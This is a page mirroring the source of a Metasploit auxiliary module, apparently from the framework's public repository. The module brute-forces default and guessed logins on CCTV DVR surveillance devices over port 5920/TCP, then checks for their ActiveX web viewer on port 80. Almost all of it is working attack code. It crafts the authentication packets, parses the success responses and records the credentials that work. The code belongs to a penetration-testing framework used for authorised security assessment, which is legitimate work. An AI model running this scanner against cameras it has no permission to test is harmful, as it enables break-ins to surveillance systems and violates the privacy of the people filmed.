CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::AuthBrute
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize
13
super(
14
'Name' => 'CCTV DVR Login Scanning Utility',
15
'Description' => %q{
16
This module tests for standalone CCTV DVR video surveillance
17
deployments specifically by MicroDigital, HIVISION, CTRing, and
18
numerous other rebranded devices that are utilizing default vendor
19
passwords. Additionally, this module has the ability to brute
20
force user accounts.
21
22
Such CCTV DVR video surveillance deployments support remote
23
viewing through Central Management Software (CMS) via the
24
CMS Web Client, an IE ActiveX control hosted over HTTP, or
25
through Win32 or mobile CMS client software. By default,
26
remote authentication is handled over port 5920/TCP with video
27
streaming over 5921/TCP.
28
29
After successful authentication over 5920/TCP this module
30
will then attempt to determine if the IE ActiveX control
31
is listening on the default HTTP port (80/TCP).
32
},
33
'Author' => 'Justin Cacak',
34
'License' => MSF_LICENSE
35
)
36
37
register_options(
38
[
39
OptPath.new(
40
'USER_FILE',
41
[
42
false,
43
"File containing usernames, one per line",
44
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_users.txt")
45
]),
46
OptPath.new(
47
'PASS_FILE',
48
[
49
false,
50
"File containing passwords, one per line",
51
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_pass.txt")
52
]),
53
OptBool.new('STOP_ON_SUCCESS', [false, "Stop guessing when a credential works for a host", true]),
54
OptPort.new('HTTP_PORT', [true, "The HTTP port for the IE ActiveX web client interface", 80]),
55
Opt::RPORT(5920)
56
])
57
end
58
59
def run_host(ip)
60
@valid_hosts = []
61
begin
62
connect
63
64
each_user_pass { |user, pass|
65
do_login(user, pass)
66
}
67
rescue ::Interrupt
68
raise $!
69
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
70
print_error("Timeout or no connection on #{rhost}:#{rport}")
71
return
72
rescue ::Exception => e
73
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
74
return
75
ensure
76
disconnect
77
end
78
79
@valid_hosts.each do |h|
80
http_interface_check(h)
81
end
82
83
end
84
85
def http_interface_check(h)
86
begin
87
http = connect(false, {
88
'RPORT' => datastore['HTTP_PORT'],
89
'RHOST' => h
90
})
91
92
http.put("GET / HTTP/1.1\r\n\r\n")
93
94
# get() is a more suitable method than get_once in this case
95
data = http.get(20)
96
97
if data =~ /DVR WebViewer/i
98
# Confirmed ActiveX control over HTTP, display the control name and version
99
# Report HTTP service info since there is a confirmed IE ActiveX control
100
# Code base example:
101
# codebase="CtrWeb.cab#version=1,1,5,4"
102
if data.match(/codebase="(\w{1,16})\.(\w{1,3}).version=(\d{1,3},\d{1,3},\d{1,3},\d{1,3})/)
103
v = "#{$1}.#{$2} v#{$3}"
104
else
105
v = "unknown version"
106
end
107
108
uri = "http://#{rhost}:#{datastore['HTTP_PORT']}"
109
print_good("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")
110
111
report_service(
112
:host => rhost,
113
:port => datastore['HTTP_PORT'],
114
:name => "http",
115
:info => "IE ActiveX CCTV DVR Control (#{v})"
116
)
117
else
118
# An HTTP server is listening on HTTP_PORT, however, does not appear to be
119
# the ActiveX control
120
print_status("An unknown HTTP interface was found on #{datastore['HTTP_PORT']}/TCP")
121
end
122
123
rescue
124
print_status("IE ActiveX HTTP interface not found on #{datastore['HTTP_PORT']}/TCP")
125
ensure
126
disconnect(http)
127
end
128
end
129
130
def report_cred(opts)
131
service_data = {
132
address: opts[:ip],
133
port: opts[:port],
134
service_name: 'cctv_dvr',
135
protocol: 'tcp',
136
workspace_id: myworkspace_id
137
}
138
139
credential_data = {
140
origin_type: :service,
141
module_fullname: fullname,
142
username: opts[:user],
143
private_data: opts[:password],
144
private_type: :password
145
}.merge(service_data)
146
147
login_data = {
148
last_attempted_at: DateTime.now,
149
core: create_credential(credential_data),
150
status: Metasploit::Model::Login::Status::SUCCESSFUL,
151
proof: opts[:proof]
152
}.merge(service_data)
153
154
create_credential_login(login_data)
155
end
156
157
def do_login(user=nil, pass=nil)
158
vprint_status("#{rhost} - Trying username:'#{user}' with password:'#{pass}'")
159
160
fill_length1 = 64 - user.length
161
162
# Check if user name length is too long for submission (exceeds packet length)
163
if fill_length1 < 1
164
return
165
end
166
167
# Build the authentication packet starting here
168
data = "\x00\x01\x00\x00\x80\x00\x00\x00" + user + ("\x00" * fill_length1)
169
170
# Check if password length is too long for submission (exceeds packet length)
171
fill_length2 = 64 - pass.length
172
if fill_length2 < 1
173
return
174
end
175
176
data = data + pass + ("\x00" * fill_length2)
177
res = nil
178
sock.put(data)
179
begin
180
res = sock.get_once(-1, 7)
181
rescue
182
return :abort
183
end
184
185
if not (res)
186
disconnect
187
vprint_error("#{rhost} No Response")
188
return :abort
189
end
190
191
# Analyze the response
192
if res == "\x00\x01\x03\x01\x00\x00\x00\x00" #Failed Password
193
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}'")
194
return
195
196
elsif res =="\x00\x01\x02\x01\x00\x00\x00\x00" #Invalid User
197
vprint_error("#{rhost}:#{rport} Invalid user: '#{user}'")
198
# Stop attempting passwords for this user since it doesn't exist
199
return :skip_user
200
201
elsif res =="\x00\x01\x05\x01\x00\x00\x00\x00" or res =="\x00\x01\x01\x01\x00\x00\x00\x00"
202
print_good("#{rhost}:#{rport} Successful login: '#{user}' : '#{pass}'")
203
204
# Report valid credentials under the CCTV DVR admin port (5920/TCP).
205
# This is a proprietary protocol.
206
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect)
207
208
@valid_hosts << rhost
209
return :next_user
210
211
else
212
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}' - Unclassified Response: #{res.inspect}")
213
return
214
end
215
216
end
217
end
218
219